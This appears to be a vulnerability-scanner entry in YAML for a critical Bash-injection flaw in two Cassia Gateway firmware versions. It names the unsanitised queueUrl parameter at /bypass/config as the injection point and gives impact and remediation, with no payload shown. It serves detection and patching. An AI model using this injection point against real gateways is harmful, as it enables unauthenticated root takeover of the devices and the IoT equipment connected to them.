  name: Cassia Gateway Firmware - Remote Code Execution

  severity: critical
  description: |
    In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.
  impact: |
    Unauthenticated attackers can inject Bash code through the queueUrl parameter which executes with root privileges on device startup, potentially compromising the Bluetooth gateway and all connected IoT devices.
  remediation: |
    Update Cassia Gateway firmware to a version newer than XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947 that properly sanitizes the queueUrl parameter.
